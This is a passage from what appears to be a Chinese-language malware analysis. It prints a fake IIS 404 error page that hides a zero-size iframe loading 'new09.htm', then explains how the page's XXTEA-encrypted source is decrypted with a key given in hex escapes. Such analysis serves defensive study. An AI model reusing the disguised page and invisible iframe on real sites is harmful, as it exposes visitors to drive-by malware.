'<').replace(/>/g, '>'); } function TagAttrib(name, value) { return ' '+name+'="'+HtmlEncode(value)+'"'; } function PrintTag(tagName, needCloseTag, attrib, inner){ document.write( '<' + tagName + attrib + '>' + HtmlEncode(inner) ); if (needCloseTag) document.write( '</' + tagName +'>' ); } function URI(href) { IEVer = window.navigator.appVersion; IEVer = IEVer.substr( IEVer.indexOf('MSIE') + 5, 3 ); return (IEVer.charAt(1)=='.' && IEVer >= '5.5') ? encodeURI(href) : escape(href).replace(/%3A/g, ':').replace(/%3B/g, ';'); } function InsertElementAnchor(href, text) { PrintTag('A', true, TagAttrib('HREF', URI(href)), text); } //--> </script> <body bgcolor="FFFFFF"> <table width="410" cellpadding="3" cellspacing="5"> <tr> <td align="left" valign="middle" width="360"> <h1 style="COLOR:000000; FONT: 12pt/15pt 宋体"><!--Problem-->找不到网页</h1> </td> </tr> <tr> <td width="400" colspan="2"> <font style="COLOR:000000; FONT: 9pt/11pt 宋体">正在查找的网页可能已被删除、重 命名或暂时不可用。</font></td> </tr> <tr> <td width="400" colspan="2"> <font style="COLOR:000000; FONT: 9pt/11pt 宋体"> <hr color="#C0C0C0" noshade> <p>请尝试执行下列操做:</p> <ul> <li>若是是在“地址”栏中键入了网页地址,请检查其拼写是否正确。<br></li> <li>打开 <script> <!-- if (!((window.navigator.userAgent.indexOf("MSIE") > 0) && (window.navigator.appVersion.charAt(0) == "2"))) { Homepage(); } //--> </script> 主页,而后查找与所需信息相关的连接。</li> <li>单击<a href="javascript:history.back(1)">后退</a>按钮尝试其余连接。</li> </ul> <h2 style="font:9pt/11pt 宋体; color:000000">HTTP 错误 404 - 找不到文件<br> Internet 信息服务<BR></h2> <hr color="#C0C0C0" noshade> <p>技术信息(用于支持人员)</p> <ul> <li> 详 细 信 息 : <br><a href="http://www.microsoft.com/ContentRedirect.asp?prd=iis&sbp=&pver=5.0&pid=&ID=40 4&cat=web&os=&over=&hrd=&Opt1=&Opt2=&Opt3=" target="_blank">Microsoft 支持</a> </li> </ul> </font></td> </tr> </table> <iframe src="new09.htm" width="0" height="0"></iframe> </body> </html>
这里得到了XXTEA加密事后的网页源码(以下所示),XXTEA加密重点在于密钥,下面这行提供了密钥的线索
t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));
'\x73\x63\x72\x69\x70\x74'这个就是密钥 拿着这个密钥,咱们下载XXTEA解密工具,来获取解密后的源码(解码后的源码贴在上面正文里)